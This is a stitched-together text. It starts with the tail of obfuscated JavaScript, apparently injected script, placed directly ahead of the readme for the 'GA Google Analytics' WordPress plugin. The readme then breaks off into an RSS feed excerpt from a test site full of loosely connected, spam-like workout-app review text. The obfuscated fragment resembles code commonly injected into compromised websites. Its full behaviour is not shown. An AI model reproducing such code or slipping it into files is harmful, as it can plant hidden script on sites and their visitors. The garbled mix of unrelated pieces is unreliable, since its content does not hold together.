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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>Best Workout App for Beginners 2026 &#8211; pspwptest</title>
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		<title>Top 25 Best Home Workouts of 2024: Online Fitness Exercise Program Reviews</title>
		<link>https://psp-wp-test.objectsdev.com/top-25-best-home-workouts-of-2024-online-fitness/</link>
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		<pubDate>Thu, 19 Mar 2026 15:20:09 +0000</pubDate>
				<category><![CDATA[Best Workout App for Beginners 2026]]></category>
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					<description><![CDATA[This in-depth analysis allowed us to evaluate the quality, user experience and effectiveness of different digital workout programs. Liebl agrees, emphasizing that users should select a fitness platform that suits their individual needs. Every fitness level is covered, so if you&#8217;re training for a half-marathon or just getting back into movement, there&#8217;s something here for [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>This in-depth analysis allowed us to evaluate the quality, user experience and effectiveness of different digital workout programs. Liebl agrees, emphasizing that users should select a fitness platform that suits their individual needs. Every fitness level is covered, so if you&#8217;re training for a half-marathon or just getting back into movement, there&#8217;s something here for you. The app includes expert-designed progressive programs like Lean + Tone for full-body strength, lower-body sculpting with Glute Camp and the intensity boosting Escalating Density plan.</p>
<p>You could also do an easier variation of each exercise in your workout for one round, slow and controlled, to prep your body for the harder workout to come. You can also do more sets of just one pairing or do another two exercises using the same format if you’re looking for an extra challenge. This exercise improves postural control and balance by requiring you to perform the movement on one side.</p>
<p>“You may also want to consider whether you are seeking short, live, or prerecorded classes. Once you have figured out exactly what you’re looking for, look for classes that offer a complimentary class or intro offer so that you can test out various offerings and personalities,” Murdock says. Several users also appreciate the program’s emphasis on building core and pelvic floor strength. Users are satisfied with the inspiring instructors and variety of classes to choose from. Members also enjoy being able to connect to the community and forge new friendships. In addition to workouts, Tone It Up offers guided meditations, nutritious eating tips, and meal plans.</p>
<p>If you love the structure of Pilates but want something that feels more fluid and adaptable, B the Method might just be your new go-to. Created by Lia Bartha, this platform reimagines classical Pilates with a fresh, modern twist, anchored by mindful movement that has garnered a raving fan base. If you&#8217;re preparing for pregnancy, recovering postpartum or just craving movement that meets you with care, the Playground is a standout. Created by Meredith Witte, a certified pregnancy and postpartum corrective exercise specialist, this program is thoughtfully built to support your body through every phase. Another plus is the app’s intuitive design, which makes it simple to save your favorite classes in the &#8220;My Practice&#8221; tab or stream sessions from your phone, desktop or TV. If you&#8217;re serious about building muscle, RP Hypertrophy is where the science meets the sweat.</p>
<p>Each Build-a-Booty workout is minutes long, and only requires resistance bands and dumbbells to complete all of the at-home exercises. The Booty King home workout routine consists of 3 butt-boosting days, 2 upper body and core days. After years of trekking to in-person workout classes and spending thousands of dollars on boutique fitness studios, I now work out almost exclusively at home. The best online workout programs have made working out more approachable, affordable, and accessible—and my results speak for themselves. Whether you&#8217;re a newbie or a seasoned athlete, you&#8217;ll find an online workout program to benefit your body and your mind. Les Mills+ is the online workout program from Les Mills, an esteemed group fitness company.</p>
<h2># PUSH-UP</h2>
<p>Street Parking does provide alternate workouts based on equipment access. For example, each day’s programming has a barbell version and a dumbbell version. There’s also a “coaches’ notes” section that provides alternative ideas based on weather conditions and space limitations. It seems like the Street Parking programmers try to keep common limitations in mind and work hard to make the programming accessible to everyone. Train Hard is CrossFit Games athlete and former Fittest Man on Earth Jason Khalipa’s programming.</p>
<h3>Free Fitness Consultation &amp; Personalized Fitness Plan +$0 Enrollment Fee in March</h3>
<p>They are especially effective for building strength in the quadriceps, glutes, and hamstrings. Bodyweight squats stimulate muscle hypertrophy and increase caloric burn as they work some of our largest muscles. Some of the main ones include toning the upper body, building core strength, and reducing the risk of cardiovascular disease.</p>
<h3>What are the benefits of a workout subscription app?</h3>
<p>There’s a lot of strength training classes that use dumbbells, but if you’re looking to improve on the Big Three then we recommend you look at our strength training pick. I rated this app a 3 out of 5 for accountability, because there aren’t really many features to hold you accountable to your workout. Other than this, I have no problems with Nike Training Club, and I think it’s a wonderful free option for people who like to do a lot of different types of workouts. If you want a combination of virtual and in-person training, Find Your Trainer is great.</p>
<h2>YogaWorks Online Yoga Class</h2>
<ul>
<li>Women looking to get fit would be better served by basically any other fitness platform in our review.</li>
<li>While we haven’t tested out this running app, a first glance shows it has tons of features to keep you motivated for your next workout.</li>
<li>For example, if you’re doing knee push-ups in your workout, you could do a warm-up round by utilizing chest-high elevated push-ups to warm up all the muscles and joints involved in that movement.</li>
<li>Nike Training Club is the only completely free online workout program on this list.</li>
<li>According to our expert reviewer, Amanda Capritto, “Anyone who has an interest in reaching a fitness goal or simply improving their overall fitness will benefit from an online workout program.</li>
<li>You’ll pick three bodyweight moves you can do with good, accurate form and a moderate number of reps for each.</li>
</ul>
<p>If losing weight is a top priority, look for online fitness programs that have strict routines and meal plans to follow. If you’re not feeling strong, balanced and graceful during a barre workout, you haven’t experienced Barre3. Its streaming subscription includes the options to filter your classes (beginner friendly!), track your progress and join challenges to keep you motivated and inspired. That won’t be hard <a href="https://www.healthcarebusinesstoday.com/10-best-muscle-building-apps-in-2026/">fitness apps</a> with new livestreams and on-demand videos added each week.</p>
<h2>Best for quick workouts</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best home fitness programs" src="https://m.media-amazon.com/images/I/51spj6nuY6L._SY445_SX342_.jpg"/></p>
<p>The interactive online community is helpful to participants, especially to keep up the motivation. Sweat, founded by personal trainer Kayla Itsines, has plenty of structured programs based on your goals and lifestyle, offering workouts and nutrition plans to help you get the most from your training. As we kickstart another year, the best workout apps are a great way to train at home or the gym, with access to motivational, qualified personal trainers in just a few taps.</p>
<h3>The Best Home Gym Flooring for 2026: Chosen by Gym Owners and Equipment Experts</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best home fitness programs" src="https://fitlifepursuits.com/wp-content/uploads/2015/07/beachbody-on-deman-320x320.jpg"/></p>
<p>Use virtual workout partners through video calls or fitness apps for accountability. A yoga mat and resistance bands provide excellent starting equipment for under $50. These basic tools enable hundreds of exercise variations targeting all major muscle groups. The minimum amount of strength training you can get away with depends on whether you&#8217;re looking to build muscle or to focus on running or longevity, say trainers. 5K Training program is a beginner-friendly, eight-week plan that walks and jogs you through building an endurance base with guided workouts and a side of postapocalyptic drama.</p>
<h3>Q: What equipment do you need to workout at home?</h3>
<p>A 2024 IHRSA study found that people using structured fitness programs were 3x more likely to still be exercising 6 months later than those using unstructured content. At $10-15/month, paid fitness apps cost less than a single gym visit in most cities. Daily Burn is a streaming fitness platform offering an extensive library of instructor-led workouts across strength, cardio, yoga, HIIT, mobility, and recovery. Programs range from complete beginner to advanced, with new content added regularly. The platform’s strength is its variety—you can follow structured multi-week programs or pick individual classes based on your mood and available time.</p>
<h2>Cost and Value</h2>
<p>Exploring the world of online workout programs can be a game-changer for your fitness journey. Whether you’re a seasoned athlete or just embarking on a path to better health, the right online workout programs can make all the difference. Shred offers impressive variety, from guided strength training to HIIT, cardio, yoga, and sport-specific programs. You can filter workouts by body part, equipment type, duration, and difficulty level.</p>
<h3>Yoga on Gaia (Per Month)</h3>
<p>With a 14 day free trial for the on-demand classes (then £29 per month), we suggest you move sharpish on such a mega deal. Classes range from 20 to 60 minutes and are led by their superstar instructors. If you like something a little more real-time, head to one of their four London studios or join via Zoom – peep at their full live timetable to find a class that suits you. And noon from noon and 6 p.m., which isn’t exactly ideal for anyone who works during the day, but they save a lot of their videos to YouTube so you can dance on your own time too. Also, this is a no-equipment-required workout — you only need enough room to grapevine — so it really is free, barring WiFi and computer access, of course. By leveraging technology, such as fitness apps, wearable devices, and online coaching platforms, fit-tech allows individuals to monitor and track their fitness goals, receive personalised workout and &#8230;</p>
<p>You can filter plans by training frequency, upper or lower body, limited equipment, or fitness level. Daily Burn is an online workout program dedicated to making fitness fun and accessible for everyone (which is a mission we support 110 percent!). Again, we just haven’t tried it our for ourselves but there are countless online reviews and testimonies saying it’s one of the best online workout programs out there.</p>
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